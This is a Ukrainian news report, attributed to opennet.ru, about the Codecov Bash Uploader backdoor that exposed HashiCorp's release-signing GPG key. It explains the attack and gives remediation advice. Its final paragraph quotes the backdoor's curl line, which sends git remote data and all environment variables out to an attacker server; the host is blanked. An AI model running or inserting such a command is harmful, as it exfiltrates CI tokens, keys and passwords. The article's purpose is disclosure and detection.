Впровадження шкідливого коду у скрипт Codecov призвело до компрометації PGP-ключа HashiCorp

Компанія HashiCorp, відома розробкою відкритих інструментаріїв Vagrant, Packer, Nomad і Terraform, оголосила про витік закритого GPG-ключа, що використовується для створення цифрових підписів, що верифікують релізи. Атакуючі, які отримали доступ до GPG-ключа, потенційно могли внести приховані зміни до продуктів HashiCorp, запевнивши їх коректним цифровим підписом. При цьому компанія заявила, що під час проведеного аудиту слідів спроб внесення таких модифікацій не виявлено.

В даний час скомпрометований GPG-ключ відкликаний і замість нього введений в ужиток новий ключ. Проблема торкнулася лише верифікації за допомогою файлів SHA256SUM та SHA256SUM.sig, і не торкнулася формування цифрових підписів для Linux-пакетів DEB та RPM, що постачаються через releases.hashicorp.com, а також механізми підтвердження випусків для macOS та Windows (AuthentiCode).

Витік стався через використання в інфраструктурі скрипту Codecov Bash Uploader (codecov-bash), призначеного для завантаження coverage-звітів із систем безперервної інтеграції. У ході атаки на компанію Codecov у вказаний скрипт було приховано впроваджено бекдор, через який було організовано відправлення паролів та ключів шифрування на сервер зловмисників.

Для злому атакуючі скористалися помилкою в процесі створення Docker-образу Codecov, що дозволяло витягти дані для доступу до GCS (Google Cloud Storage), необхідні для внесення змін до скрипту Bash Uploader, що поширювався з сайту codecov.io. Зміни були внесені ще 31 січня, два місяці залишалися непоміченими та дозволяли зловмисникам витягувати інформацію, що зберігається в оточеннях систем безперервної інтеграції клієнтів. За допомогою доданого шкідливого коду зловмисники могли отримати інформацію про тестований Git-репозиторії та всіх змінних оточення, у тому числі включають токени, ключі шифрування та паролі, що передаються в системи безперервної інтеграції для організації доступу до коду додатків, сховищ та сервісів, таких як Amazon Web Services та GitHub.

Крім прямого виклику скрипт Codecov Bash Uploader використовувався у складі інших завантажувачів, таких як Codecov-action (Github), Codecov-circleci-orb та Codecov-bitrise-step, користувачі яких також схильні до проблеми. Усім користувачам codecov-bash та пов'язаних з ним продуктів рекомендовано провести аудит своїх інфраструктур, а також змінити паролі та ключі шифрування. Перевірити наявність бекдора в скрипті можна за наявності рядка curl -sm 0.5 -d «$(git remote -v)<<<<<< ENV $(env)» http:// /upload/v2 || true

Джерело: opennet.ru

Додати коментар або відгук